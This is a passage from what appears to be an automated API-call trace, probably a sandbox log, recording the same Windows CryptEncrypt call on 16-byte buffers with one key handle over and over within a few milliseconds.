pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 